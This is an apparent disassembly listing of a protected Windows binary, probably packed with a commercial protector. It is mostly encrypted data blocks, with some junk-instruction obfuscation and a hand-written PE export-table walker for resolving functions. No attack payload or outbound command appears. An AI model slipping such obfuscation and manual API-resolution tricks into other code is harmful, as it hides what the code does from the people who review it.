dd 77E4050Dh, 13F2D1F4h, 3B7A50D2h, 1F6BACB7h, 568DDF5Ah dd 0A0DB91FDh, 0A27F95FDh, 9D7362E1h, 7B51C881h, 0BF4D0FC8h dd 9C29833Eh, 0B523C2CEh, 0C1779332h, 66E87246h, 0C5A7987Fh dd 27B73B91h, 91AD8FF4h, 0CC0FB73Bh, 6FEE349Bh, 921F1D62h dd 5A9DB73Bh, 162CAC69h, 37A5444Ch, 6D5ED99Dh, 813AB06Ah dd 43C1BE2Bh, 0AE3EA39Ch, 75A6BD1Fh, 0F53D8767h, 6225A614h dd 5C39B238h, 0E31AD149h, 0DC72E63Ch, 19CA9E19h, 0F25F9424h dd 149744E6h, 6CE769B1h, 0AE2AE75Ch, 114BB713h, 1D26CB39h dd 9B74B5FBh, 5E41F87Fh, 0E72F97ECh, 2AC09Bh, 77170000h dd 9B8746C1h, 0B99F44DCh, 0D9A87E25h, 34A12BE4h, 2916F97Bh dd 54E9B570h, 1792435Fh, 0B9C58E45h, 17905776h, 0C7000000h dd 7246C177h, 490C8E47h, 0E8E9FF74h, 27957F54h, 0EADF14A4h dd 604872EBh, 884FCDBAh, 75604A29h, 59F5D79Fh, 0F113114Eh dd 0CC914F04h, 4F171F3h, 0CF00F34Fh, 1B843D02h, 3FF054E9h dd 1E0C6E51h, 0EEA7499Ch, 0B754A96Ch, 0B7464044h, 356D7444h dd 50D51B85h, 5C6F1F17h, 29E2516Bh, 0B0179542h, 9C8B7D4Fh dd 0B91CDF49h, 6C73EA61h, 28AF01B6h, 3F7F7CB1h, 0C030D560h dd 136CA908h, 41F20000h, 9F5BC7C6h, 2CAD7518h, 7EF02AADh dd 9558C2C5h, 13A27B1Ah, 3558D786h, 0EFEE69EDh, 83028533h dd 3659D087h, 85E7D88Fh, 0E754EC38h, 0E6CCCA81h, 0AA5DAF0Bh dd 6B480578h, 4F059109h, 0B370EBA4h, 67732931h, 55349BCCh dd 0AC2FACF6h, 5DFF577h, 0CB84774Fh, 0E9F8D9EAh, 8342B554h dd 3756D187h, 218F4A50h, 0EAFE33AAh, 0C4729C79h, 64D36943h dd 0D398C4E5h, 0ED6F1C47h, 12ED04h, 49C07300h, 9B1CDC46h dd 2CAB2EF4h, 44FF71A9h, 9D14D941h, 7922DFAh, 6EB4DB56h dd 0B46E71EEh, 18028506h, 0EB5D853h, 3904665Fh, 1A6054ECh dd 106DCC4Dh, 4F04E612h, 5F4A192h, 3A0BCA48h, 54E8FE89h dd 375332E5h, 0BDAE2D83h, 0E8FDE240h, 5C914254h, 0DC119642h dd 6EE961B9h, 20BC05Ah, 0E8FE3F3Dh, 97ABD54h, 0A0FAEBB3h dd 2C27B52Eh, 0DA3B6763h, 0DC36991Eh, 11447202h, 0FE814A3Eh dd 0DFC461Bh, 17C3C987h, 22073890h, 0D154E94Ch, 0CD38989h dd 0E94C3133h, 0EDD2B354h, 54E94C8Fh, 1CF92AEDh, 0DEC146F2h dd 0B9139444h, 73F8530Ch, 3E73E0F8h, 32A2F85Fh, 0A5ED99Ch dd 0DC21E4D9h, 54E94C5Eh, 73B01DDEh, 5AD09216h, 0F3DEAD85h dd 7FA30000h, 6027E892h, 9B3ABD3Ah, 7B51C88Fh, 4C13914Eh dd 0EFE6E973h, 85488B54h, 0F85FDE9Dh, 0E4462419h, 75A654E9h dd 5E1D0598h, 94C946F6h, 5EDC89C4h, 165586FFh, 7EB15ACEh dd 2BE95D79h, 0BB7ADE22h, 11D6h, 6D70EB6Ch, 38205B5h, 0B0D75207h dd 686FE86Ah, 18403B2h, 7DF0A914h, 9747C3C2h, 2FAD7518h dd 7AF129ACh, 6625DCC3h, 0EC3A1B19h, 0B4E39954h, 4E5D952h dd 1497454Fh, 8FEDD2B1h, 0ED4F04E6h, 6B5E612Ah, 106D30B2h dd 54EC2C12h, 0A4FEA192h, 4C13B235h, 516BE456h, 833441FBh dd 47901DAh, 6DCC024Bh, 0DC058435h, 4F04E65Eh, 7EB01DDEh dd 2E94C505h, 13576h, 63D8A100h, 0D6CCD0E9h, 61D2E661h dd 9372D1B4h, 4E5D052h, 0A8D4C4Fh, 45C27690h, 0CE8BFC77h dd 4E680E1h, 4B60D54Fh, 0E661D6CCh, 0D1B461D2h, 0D1E6CC84h dd 71641724h, 75A8329Fh, 884A5037h, 9554D60Fh, 1FD04F05h dd 60D825B2h, 7C2BDDEAh, 0D2EB61D8h, 0BF3E64C5h, 0CC065700h dd 0D3E966D6h, 0F043B760h, 192D14C4h, 2Ah, 0EA60D8BCh dd 24E6CCDDh, 0A9269602h, 3CF62013h, 0BDAB78Eh, 57B353Ah dd 697EB14Fh, 0C2779BCCh, 42157647h, 292Ch, 60D87B00h dd 0D6CCDDEAh, 592CE966h, 0B22DA0FAh, 0E59798D9h, 0D2E4F04h dd 56DCCBCh, 3586806h, 0E6F7A087h, 7647C277h, 0D45F4215h dd 0ED2D14C4h, 2AA000B5h, 0F7281BB1h, 2FA31Ah, 0CCEA0000h dd 2CE966D6h, 0B1149E4Dh, 5068E369h, 0CCA136E3h, 4E66EF3h dd 0B405F64Fh, 0D6CC9BCCh, 60D3E966h, 68EF6BB7h, 2C421553h dd 2Bh, 11E6CC7Bh, 0C9B1570Dh, 33EA410Ah, 0F3CC20B9h, 4F04E66Eh dd 0CC6572C7h, 786356Dh, 0C3770D4Ah, 0D6CC7744h, 62D1EB64h dd 0CCA80FA9h, 2DE661D6h, 0FFFEB5BAh, 6FD8EDFFh, 90D52AEDh dd 0EC54EC2Ch, 0B56E51B9h, 0A48F07D0h, 0EC78FD7Fh, 4BBC7F54h dd 5ED99E84h, 149E4C3Fh, 4C8D2B1h, 83E1CE8Bh, 0E154EC79h dd 0C9A59A2Eh, 4754EC78h, 0B9431990h, 3221BB32h, 0D0E863E8h dd 83D63D7Ah, 0BC04F9C7h, 4F1AD2DEh, 57EB7FBh, 7633FC72h dd 3Ch, 0E5CC52A1h, 83484F04h, 0FC268508h, 0D310FD7Eh dd 4F04E64Eh, 6F2EAC19h, 0AB948133h, 4F04E5C9h, 25B7E82Bh dd 6785E42Eh, 3132B2E7h, 13BC8164h, 6354E9E1h, 0C3AE2DB0h dd 0F9000000h, 2AED6FD8h, 0E90D48D5h, 2CF32454h, 0C0C740F6h dd 411B9C5Ah, 76D95B14h, 622FA82Ch, 51EDA283h, 0C6095AD0h dd 0DD5C1B07h, 467A548Fh, 96A8FC7Ch, 0AFFB4A07h, 0F32FAE29h dd 0EFF6C245h, 7D59F783h, 621541F8h, 79309DB1h, 0E84F0E8Ch dd 8D69597h, 4B0D174Fh, 164BF8D0h, 8F95EABDh, 0ED54F016h dd 0B83F6B2Ah, 3615E01h, 6154E9B4h, 0A302E5AEh dd 0B3E91157h, 0BB1418D7h, 1F78985Fh, 0B283A5C3h, 3EE4EBDCh dd 1FB93EB9h, 241C4883h, 0F00CDB4h, 0D5860000h, 6BEF3B5Ah dd 0B831E9ECh, 0D2849E01h, 69EC3659h, 7F3EEFEEh, 0A92CAB2Ah dd 4342FD71h, 0F79611C7h, 0AA2DAC2Bh, 0F1734C13h, 7354EC3Bh dd 0C0775E35h, 0F0E64E50h, 48BDA122h, 0EA6DEA70h, 0B8C4CDEh dd 0A82FABB1h, 0BEE24810h, 5D3CA376h, 2519C375h, 0E22322A4h dd 4F05DF80h, 745E3BFCh, 8EF7560Ch, 4F05DEACh, 0F16EEE08h dd 70F762BCh, 0E42EEB58h, 61D1F477h, 2E15C622h, 76F167A3h dd 0A924F162h, 73h, 0ED6FD8ECh, 0C37CF02Ah, 0A8207AE9h dd 0A283622Fh, 54E90EA1h, 0D4BB1ADDh, 38900FCEh, 0E58DA0Bh dd 7B454E9h, 833F3484h, 0B2B08D50h, 3254E90Dh, 0A64414C1h dd 0CBD7B631h, 53E8A0Dh, 4C563548h, 88BB118Ah, 6D7FF87Eh dd 7AF11DF6h, 3FCE9C3h, 74E1DE81h, 105ACD35h, 9391EE4Dh dd 114F04F3h, 0F483E1DEh, 0BCE14F04h, 4F3E143h, 5F90434Fh dd 77F26B6Ah, 6AED6DC3h, 0EB379639h, 0F925EE69h, 0E3E2F671h dd 24B433A7h, 261D622Fh, 494F04E6h, 0E59795EAh, 0F3454F04h dd 79E27571h, 54AE611Dh, 9E5567E0h, 0F163E935h, 939B287h dd 7215465Ah, 9CC4E07h, 0EC2F4334h, 0B4227854h, 825C6633h dd 131A00C8h, 0B41B4C60h, 8F0ECDD5h, 31A82F3Dh, 42F713FCh dd 5F17C0C7h, 2E94C4E4h, 17B15h, 63D84000h, 0F3CCD0E9h dd 4F04E66Eh, 479372C7h, 0B7B3DB31h, 66512D88h, 71F1A4EEh dd 0CC28A16Ah, 64D6CC9Bh, 5ED99FEBh, 527CD90Ah, 0FC197133h dd 40C77290h, 296F8A16h, 0D6CC6F6Ch, 62D1EB64h, 901AC2A9h dd 0D87C2B3Bh, 9413C261h, 201DFCA3h, 4F04E642h, 37A471A2h dd 0D45F92C5h, 0ED2D14C4h, 378504B5h, 3E64533Ch, 0B3000000h dd 0DDEA60D8h, 0E66EF3CCh, 5F64F04h, 356DCCB4h, 0BCB70584h dd 0C277FAD3h, 0DC218047h, 4F04E65Eh, 1BB01DDEh, 12106DCCh dd 924F04E6h, 1F23CDB8h, 8BFCD15Fh, 2C11A6CEh, 20h, 0EA60D87Bh dd 6EF3CCDDh, 0C74F04E6h, 0D6CC6572h, 542BE463h, 6EC27703h dd 0E95A6EE9h, 421527B4h, 6220E6CCh, 9E56D429h, 65D64F05h dd 0CB376C29h, 0C4393B04h, 78BB4F05h, 0A2D85B9Fh, 68012D15h dd 54000000h, 0D2EB61D8h, 0FABFE6CCh, 0AA142D01h, 40211EE1h dd 7F4F0574h, 73C5A798h, 0F4274F05h, 0F1CE9F1Bh, 4F057473h dd 3AA4DF91h, 0AEE31CD0h, 6DCC6C7Dh, 0B7058435h, 0CCFAD3BCh dd 0D4548EE6h, 718D6D32h, 8D8942FDh, 0CC7D4ACDh, 0D1EB64D6h dd 0DD0E894Bh, 2CE37470h, 32h, 0F0C5A58Dh, 9F2DAC2Bh, 0B75E6AA4h dd 0D89B309Dh, 0CCD2EB61h, 9223056Dh, 833944A5h, 488E9D6h dd 18DD4F05h, 779BCC43h, 157744C3h, 6DEA6EB4h, 7C2C2BA0h dd 7BFFFFFEh, 2AED6FD8h, 0EC2C90D5h, 642BEC54h, 0A903BC3Eh dd 140ED1BAh, 0D6A124A7h, 0C63F9E14h, 54EC2C64h, 39B626C0h dd 85EDF4C4h, 0F5F3126Dh, 0BC246E0Fh, 0F3B0227h, 7AFA3B94h dd 0D954EBFBh, 7BC80101h, 0EC33FBE2h, 36h, 5B09F5DDh, 0DC3C7FBFh dd 0C69314C2h, 0E5CC5291h, 83484F04h, 0A735AC21h, 0BE947BACh dd 5FE17B5Fh, 82D8E1D9h, 0F092576Eh, 75F463BFh, 9C23EC67h dd 0BDDDh, 6FD80800h, 0E624067Fh, 4F804F04h, 694ABB1Ah dd 0C554E917h, 0E157B312h, 3DBB6766h, 7593EFA3h, 0E3D4EC9Bh dd 0F877E63Ch, 32A673E0h, 894CCE87h, 9E57D52Ah, 62D554E9h dd 0BCE9D6A9h, 35AD0E4h, 0F2915037h, 5CE9691h, 70D7B679h dd 5106A82Ah, 0EE28E5D6h, 32E8EF68h, 3CA90384h, 211EC143h dd 54EFA93Bh, 0EB379659h, 66DDEF6Ah, 0BC0DAADh, 0A6150D90h dd 0F9D34C0Eh, 0B8BA8B4Ah, 3454E9A1h, 99298EC3h, 9A1C47F9h dd 0B14773Eh, 29AA0000h, 47F32FAEh, 9445DDC0h, 26A87215h dd 7DF02AADh, 6B4AC3C2h, 9D00BF3Eh, 3756D185h, 0EBEA6DEBh dd 9E01B83Fh, 0DD5FA0E7h, 5F54EC3Fh, 0C0777229h, 62E97349h dd 1DC4D1EBh, 176DF35h, 0F85557FAh, 8433D2DEh, 0D3B08205h dd 0EC2E14D4h, 0A89107B6h, 0D53D1E89h, 2013A99Ah, 567877h dd 0D89F0000h, 0D52AED6Fh, 54E909CCh, 0D153AC73h, 5354E908h dd 488B37E0h, 0EA6DEA70h, 1B83FEBh, 7BF02AABh, 9E7BE8C0h dd 3DE062DBh, 1790445Eh, 0FCC58E45h, 5ACD3AFFh, 7AF8C5A4h dd 214F04F8h, 4F85EDCh, 611DDE4Fh, 16D9E5AEh, 4CB11077h dd 4F04F7EEh, 8BC08D4Eh, 8144C377h, 15BD299h, 8A05C8D2h dd 3548053Eh, 4E673C8h, 5602184Fh, 0EB61FBD1h, 0B6EB5870h dd 516BEC6Ch, 6FED29E2h, 63C129ECh, 942485FDh, 7048CF8Ah dd 0A2C58EC3h, 310E1ED7h, 4F04E933h, 0F8E21DD1h, 2203C237h dd 54EC2F58h, 37B2237Fh, 0D9E5AEA5h, 0EE6BB716h, 5FF3646Bh dd 2E94C4E4h, 12915h, 63D84000h, 5C910AC0h, 0E1E6CC0Fh dd 72746758h, 624322EFh, 4F058DFDh, 0CCD6E748h, 62D6379Bh dd 2BEA60D8h, 0E5F97B44h, 0B87B4F04h, 7C2BFEDFh, 10C261D8h dd 0C515A297h, 0C4D45F92h, 2B052D14h, 50000000h, 0DDEA60D8h dd 0E66EF3CCh, 5F64F04h, 63D6CCB4h, 5BDC9AE4h, 0CCBE2FFEh dd 0D4E463D6h, 0E168B21Fh, 42155166h, 272Ch, 60D87B00h dd 0F3CCDDEAh, 4F04E66Eh, 0CC6572C7h, 0D7E562D6h, 0FBECB31Ch dd 7647C277h, 0E8D5B415h, 4F04E68Ah, 6F6C29EAh, 0D6EBE6CCh dd 7E71E17Dh, 0A8D2A195h, 0B7D32D15h, 53E8A05h, 251D48h dd 0D8B80000h, 0CCD2EB61h, 4E66EF3h, 0B405F64Fh, 1FFEE6CCh dd 9DB74244h, 77786D30h, 157744C3h, 412C42h, 0D87B0000h dd 0CCD2EB61h, 883356Dh, 305783B0h, 0D8299248h, 83E4CD86h dd 0D24F052Fh, 9BCC4861h, 7DFCE6CCh, 0E7486C4Eh, 0EF68E02Ah dd 0C245F228h, 0B4154009h, 8F0ECDD5h, 5BD9063Dh, 0D94F04E6h dd 0CC1CBD16h, 0E612106Dh, 9EC24F04h, 87FF24C0h, 24F1225Ch dd 0FFFECEA1h, 6FD8F4FFh, 90D52AEDh, 0EC54EC2Ch, 0BC3E642Bh dd 0D1BAA903h, 0C273AF0Eh, 15FE7547h, 0C4CB4209h, 0DC8309F1h dd 0EC2C81E3h, 9830E354h, 0EC2BC7A7h, 70B00A54h, 0F87A4B2Ah dd 7454EC2Bh, 7AF56783h, 12E65D91h, 2F1733FCh, 46000000h dd 4E5CC52h, 2597F34Fh, 68251EAAh, 0AF2EA92Eh, 0F0169C8h dd 0B14351A3h, 0CEC5A79Ch, 0F4274F05h, 0ECA41Bh, 1D050000h dd 5B88205Bh, 6FD8D9FEh, 0A29710C4h, 0B837A7E3h, 87663320h dd 0E8E92DBEh, 2FAF4954h, 44B918B0h, 54E8E8E6h, 6FA09546h dd 43C472A8h, 510C65Ch, 0E8E93A38h, 479BA54h, 5C4C39B4h dd 0E8E90163h, 7FB06354h, 655A3998h, 54E8E907h, 98D9B265h dd 5AD02ECFh, 911F427h, 5DC5C843h, 114C1C9Fh, 0B75EB4A4h dd 82D1297Eh, 7B33316Eh, 7EB14F08h, 9C504A0Dh, 319A4963h dd 0BB0B116Eh, 8F6954EFh, 77F267C9h, 0AF0ED102h, 0E98FD456h dd 6B65054h, 0CF003389h, 0C6DCA302h, 38C29611h, 0B4AF3DB6h dd 3AB52743h, 0BED8B5AEh, 31FBE39h, 1094D554h, 671C480Bh dd 7A40CF5h, 0B93A0000h, 0D7839F3Eh, 64D54D50h, 0B638E2E5h dd 0CD809A3Dh, 0DBDA3352h, 0D900FCEh, 0A726A115h, 5B7AFD7Bh dd 0E9108CFh, 4D2F1077h, 0AF54EC44h, 0C07782D9h, 920DCFDBh dd 56D40DC6h, 0D64F04E6h, 0BD0F884Ch, 0BD605586h, 9417C4DEh dd 54D60FC4h, 0D04F04E6h, 0BF26B21Fh, 6775F463h, 70E723ECh dd 0F4D6E3F9h, 6FEE6D8Ch, 45E842A8h, 9ADCA7Ah, 405A394Ch dd 89BA0E89h, 0F599EACCh, 2CC22E14h, 15000000h dd 2AED6FD8h, 0E91134D5h, 0EDFF3054h, 0E90FF47Ah, 2A705F54h dd 67632CABh, 0F391F23Bh, 81233F8h, 45FECA45h, 48DD88h dd 0D8780000h, 0D21AF46Fh, 84EC474Ch, 27968C53h, 2718EFA8h dd 54E928FAh, 7983D91Ah, 8E947BF2h, 0E17B51CEh, 6BD8F06Bh dd 0D04A5D36h, 0D53DE01Bh, 371C77AAh, 0F1DBB41Fh, 8D0ACAD0h dd 3EBC69C0h, 0AA75665Fh, 0DE115ACDh, 5C482EBFh, 9C43C1BEh dd 0E91006A3h, 0C63F6E54h, 54E91064h, 0C2A09DC0h, 2254E90Fh dd 8D4BBCF1h, 5F5A63A2h, 98E54415h, 1497459Ah, 0BD7CD91Ah dd 5FFAD0C0h, 0BF11E10Bh, 0FEF371AEh, 0BE711496h, 98B58A4Dh dd 0D41A7B27h, 0BC0C8B4Ah, 6AF84B87h, 0D1F6724Ah, 2491CC9Ch dd 118BE7A6h, 0A777B334h, 7B441BF4h, 155F5A89h, 0E745BAEBh dd 451496E7h, 70F23392h, 0CC1496E8h, 2B77D60Bh, 70AA2DACh dd 877B40FBh, 0F85C9AB2h, 6249150h, 39BA0000h, 57031FBEh dd 0E455CDD0h, 36B86265h, 4D001ABDh, 5B5AB3D2h, 8D108F4Eh dd 27A62195h, 0DBFA7DFBh, 8E11884Fh, 0CDAF90F7h, 2F54EC44h dd 0C0770259h, 60E97349h, 0AB87E6E9h, 0C991E12Bh, 0CEAD665Ah dd 0F3CC9311h, 54ED28A6h, 36B124CEh, 6C7CB1A2h, 0DF9C1BDEh dd 1C44FAC5h, 0C3472EAAh, 59000005h, 0A2781F96h, 0F42EB136h dd 47C3C245h, 0AF7B1A95h, 0FB2CB32Eh, 0F168EDBCh, 78034EEh dd 5BDC9A80h, 0EE69EE34h, 0C7150EFh, 54EC462Eh, 0CCA3F88Eh dd 0D3E966D6h, 0D7500660h, 36854E85h, 2B14FB79h, 54EC2C7Ah dd 0F903599Ah, 0EAF0F970h, 9D1C456Eh, 56C763Fh, 41F20000h dd 9F5BC7C6h, 2CAD7518h, 7EF02AADh, 9558C2C5h, 13A27B1Ah dd 3558D786h, 0EFEE69EDh, 83028533h, 3659D087h, 85E7D88Fh dd 0E754EC46h, 6FD8CA81h, 6F4B2AEDh, 57E4557Eh, 0DA1BF401h dd 54EC8A85h, 809A2EE1h, 0B3694EC9h, 81C459Ch, 518E140h dd 2DAE0000h, 43F713B2h, 9059C1C4h, 2AAC7619h, 41F42EB1h dd 6756C7C6h, 81048332h, 3B5AD599h, 0EFEE69EFh, 82058433h dd 0D95BA4FBh, 5B54EC45h, 0C077762Dh, 68AC8649h, 3DF5FE69h dd 92339972h, 7547C088h, 420915FEh, 1963F1CBh, 97474319h dd 0C6934018h, 0F99C1FDCh, 9933AA21h, 5C6C1A6h, 246C764Fh dd 39B2247Eh, 285325Ch, 74E63C83h, 0E25B1EFBh, 740BD60h dd 6F54ED0Dh, 350AE9ACh, 54EC8D37h, 0B03842B5h, 248B5A37h dd 16C37CFEh, 9CC4F0Ch, 89235A11h, 34EEF15Ah, 1B071D87h dd 0F2F775B9h, 0C1BE2B81h, 0C03D9C43h, 54EC9162h, 0E14411C2h dd 0D3D6969Ch, 5235E65Ah, 0A42397F3h, 2872DF14h, 7DA528A3h dd 82987FFEh, 0DEFA57D0h, 0E5A82AE3h, 0EA064B98h, 4368AB54h dd 1C47D877h, 33D19038h, 0C9000004h, 12088F06h, 64BE21A6h dd 0B75372F5h, 1F0B8A05h, 6BBC235Eh, 61985D4Ch, 0B730A47Eh dd 0CB4C0A10h, 1E995EC4h, 0BC81C07Fh, 54EC46BEh, 7713483Eh dd 9C8649C0h, 0D40F5DDEh, 0E62E0C71h, 4D8E4F04h, 9189C880h dd 0AFEBA4DFh, 5B2EB128h, 40BD60E2h, 54E8FC7Fh, 3DA434E7h dd 0E0F873E5h, 0D759A673h, 7254E8FBh, 0E2A168A8h, 0B33F8E2h dd 46h, 0ED6FD842h, 860D52Ah, 1BDC54E9h, 4C2A0041h, 5AFBFEE0h dd 6B9B99E6h, 0D61954E9h, 65CB28E5h, 0E054E96Ch, 64DF161Ah dd 7D33F94Fh, 0A735B425h, 0A84862ACh, 37569C9Ah, 0F8635Ah dd 465C0000h, 92411B94h, 0C0779039h, 172ED60h, 0A5DC91ABh dd 0EE46F517h, 0DBBAEF68h, 60C4FAFFh, 0F05DC222h, 129542D8h dd 9EFB273h, 0AC2B4F05h, 0FB70AA2Dh, 0A8FEDD2h, 0C9364F05h dd 4F050A6Bh, 429C06C9h, 0C284993Eh, 0F7281D1Ah, 0CC4B0A10h dd 0A31C4903h, 0B4247E21h, 81F95F2Ah, 211297B5h, 28FF588Bh dd 0E945A6D7h, 32558654h, 0B1B38C53h, 3354E944h, 0EBA417C0h dd 2959A669h, 0F5ACFEEh, 0E0F873E5h, 435F3E73h, 8F441493h dd 0B62763C2h, 0CF8E943Bh, 0DC7FFDC2h, 3AFD4F07h, 0BF18E0C9h dd 2DAF2229h, 2DD44h, 79F06300h, 8B0CCC56h, 0DC5B1E04h dd 74EF61B9h, 8D04C951h, 0F7A21D0Ah, 5EC4CB46h, 0A47E619Eh dd 812B536h, 3EC5C843h, 4914166Fh, 0EA9054ECh, 67E6CCBDh dd 6485F9F7h, 97C84F0Bh, 0E21DD03Ah, 0D3869CE3h, 8791614Dh dd 0D60BA5D0h, 235A117Dh, 0D6CC2BBCh, 77AAE463h, 2F86C95Fh dd 0E8A514C1h, 65C4AB6Ah, 5561A18h, 56409A4Fh, 7EECE896h dd 74BD164Bh, 54E965FFh, 3B2CBC7Fh, 54E96235h, 0CC9C1BDFh dd 0AD3FB83Eh, 0C30B77DDh, 27EE12E8h, 33F9455Ch, 938Dh dd 0C077C800h, 64E97349h, 4968DFEDh, 4D4F04EAh, 37B0268Eh dd 5A7DAEA5h, 38900BC0h, 0F352D08Dh, 0E90401B2h, 0DC9C8654h dd 79D2015Bh, 0A01BBA7Dh, 9C9EE7F7h, 1854E903h, 0C223E2D7h dd 5ACFAA4Fh, 0FD25E82Bh, 44DEC178h, 91511691h, 622229F9h dd 1F00FF6h, 0C5760000h, 1BDF4B4Ah, 0A821F99Ch, 0C274AE31h dd 19DC4649h, 8F2EFF9Eh, 0B9DC5B1Ah, 5372ED61h, 78601B7h dd 0BADD5C1Bh, 1635C03h, 6354EC4Ah, 0C6774E05h, 19DE444Bh dd 3E8A05B7h, 18CDD005h, 7349C077h, 0E4EB62E9h, 0E7A62491h dd 0D95E1A00h, 1112377Ch, 0E15254E9h, 101214CBh, 16BD54E9h dd 0FACE490Ch, 5A6EE960h, 0FFDBB4E9h, 0F7097AB3h, 257233F8h dd 53000000h, 4B048337h, 0ED6FD802h, 0FCACD52Ah, 478854E8h dd 0FC6CF275h, 3E754E8h, 0DF6DD61Fh, 2A9E33F8h, 39000000h dd 0E867D6CCh, 0C8B4AD0h, 0F35287BCh, 4E5B0B2h, 0ECB0C4Fh dd 4E64021h, 19B26B4Fh, 25E8DD54h, 0E8F83BD8h, 0D5F83B54h dd 0C46FD800h, 0BA3DBD17h, 0E8C0352Eh, 7E47067Bh, 54E90F8Dh dd 0C0423FE9h, 328601C8h, 2CE8D501h, 2B81B55Eh, 1E5392F8h dd 44862234h, 48BD1C22h, 0E169CF70h, 2AAB54E9h, 4D0F1DAFh dd 0F06486D2h, 9F836977h, 6B41FE7Eh, 563487F8h, 0C8A0E32Ah dd 0F92133F9h, 74EFFD74h, 352C9Bh, 526B0000h, 4F04E5CCh dd 0E9AC2EE7h, 0E637350Ah, 42B54F04h, 5F38B338h, 78F12988h dd 9F78EBC1h, 0E8F7B556h, 0B9306A54h, 0DCB9AA3Eh, 64BE61D2h dd 0EF6474F7h, 0CCCA8322h, 3246B0E6h, 1AF76C7Ch, 0A164E65Fh dd 0ED19AB5Ch, 70488B54h, 0EBEA6DEAh, 0AB01B83Fh, 0C07BF02Ah dd 587F2E17h, 52F3C657h, 0CD098248h, 7A8A716h, 0EFEBA4B6h dd 28A1F9A3h, 49011BB1h, 1449FACEh, 61985FBBh, 0EBF264BEh dd 924A989Ah, 0EE2314C3h, 0B36331A4h, 0CC9396Ah, 53301A79h dd 66418956h, 2C9D5BEh, 3190318Bh, 92176ECCh, 400DCEC3h dd 411B9446h, 2DBF3ABBh, 38A4A22Fh, 61BDDA22h, 825A6EE9h dd 9430F838h, 0B423C2CEh, 0C3889235h, 3B17048h, 0E4000000h dd 0C4775106h, 6EED7F4Dh, 894FDDEFh, 2CA0BA0Eh, 520319B3h dd 0F66785D7h, 19DB617Bh, 0B930CA9Eh, 0D890AA3Eh db 5Fh, 0Dh, 0B3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 1EFFh mov [esp], ebp push 5ABBh mov [esp], edx push 52AEh mov [esp], esi mov esi, 5E747ACh mov ebp, esi pop esi push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 8 add eax, edx mov [eax], ebp pop eax push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_54658E ; --------------------------------------------------------------------------- dw 0AFF7h aHhvbb db '╬ж>hHV│B',0 db 34h, 0B8h, 16h dd 305E766h, 9EE0FFC5h, 9177365Bh, 0D02423C2h, 9D2C429Ch dd 0AE026A34h, 5259885Eh, 0F11529D1h, 0F9245F1Eh, 892B9C95h dd 1E4AD60Dh, 4E69DD2Ah, 0AA04909Dh, 0F4C2EC9h, 0B65B05F8h dd 612F7DB0h, 2D0C36FAh, 0AA419291h, 0EC39B80Ah, 994EE81Bh dd 5140CCE4h, 0F0243935h, 0A83E047Ch, 0D56B6DA1h, 0E82296E4h dd 9, 4D2F93ECh, 43376465h, 0B70F5769h, 805F59C8h, 0C781BCF7h dd 6F28h, 68CFB70Fh, 0 dd 98F78060h, 9E8h, 0A2848D00h, 3138EC0h, 6160A24Ch, 8158615Fh dd 0A10C46DEh, 7148B06h, 3800Fh, 8B660000h, 1CEA81F0h dd 810FB02Dh, 6D64C8F3h, 27C2814Ah, 0E93E882Ah, 13h, 5B9AFC5Fh dd 981C6B0Bh, 13BFB15Bh, 0B9A71D62h, 81587E1Eh, 0AA5F11EAh dd 0E981662Ch, 148905F4h, 0C0BB6607h, 65DF8056h, 1366E881h dd 81666C69h, 816D14E3h, 691362C0h, 81FD8A6Ch, 0FF91A4F8h dd 0D850FFFh, 56000000h, 22E959h, 7BFD0000h, 0B12F0h, 0D818E9BEh dd 0FF7FE91Dh, 902CFFFFh, 4814C7C7h, 0E3DEC142h, 33271E80h dd 3CB259D6h, 0AE8h, 0D7DFC100h, 54897F16h, 0F8B77BDh dd 0F5ECBBFh, 58Ah, 874BB00h, 0C6816698h, 663Dh, 6E9h dd 0A4F8D200h, 0BF089A73h, 1961h, 8B068BF8h, 9DF081D0h dd 0F7DF857h, 389h, 0D1B70F00h, 0E717E881h, 0DA810229h dd 5F87DFC3h, 908EE881h, 0E8602D67h, 7, 6719EC2Ah, 0E804B96Dh dd 0Ch, 0C3D20A6Ch, 0C4F749CBh, 8AD4AE67h, 61F95E59h, 10E950h dd 24120000h, 528ABF52h, 2ED32595h, 0E35307B9h, 68F3E27h dd 0EE9h, 0C6F43600h, 0BDBEB22h, 511E22EBh, 83BE3DCFh dd 816602EEh, 4E0C51E1h, 0D5BA664Eh, 850F4F93h, 0FFFFFF79h dd 348DC281h, 83E97BC3h, 53000000h, 57565251h, 1C245C8Bh dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch, 74032473h, 8B561C24h dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh dd 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 1157E900h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 565B97C3h, 0B9858BC2h, 6A05E40Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 6E5FC351h, 0E90F0765h, 7, 48722AE0h, 39DE20E0h dd 0F042444h, 6885h, 81666000h, 66EAB3C1h, 8361C88Bh, 0E42AE1BDh dd 840F0005h, 51h, 158E0Fh, 10E90000h, 89000000h, 0CB262148h dd 2C900B02h, 0C3F21EE5h, 8D5E8F2Bh, 0E4399485h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0FC4AE8B7h, 0AE9E0FFh, 42000000h, 0B8F0C11Ch, 0CDB37E9Bh dd 79858B52h, 905E423h, 0E42881B5h, 24443905h, 5F850F04h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 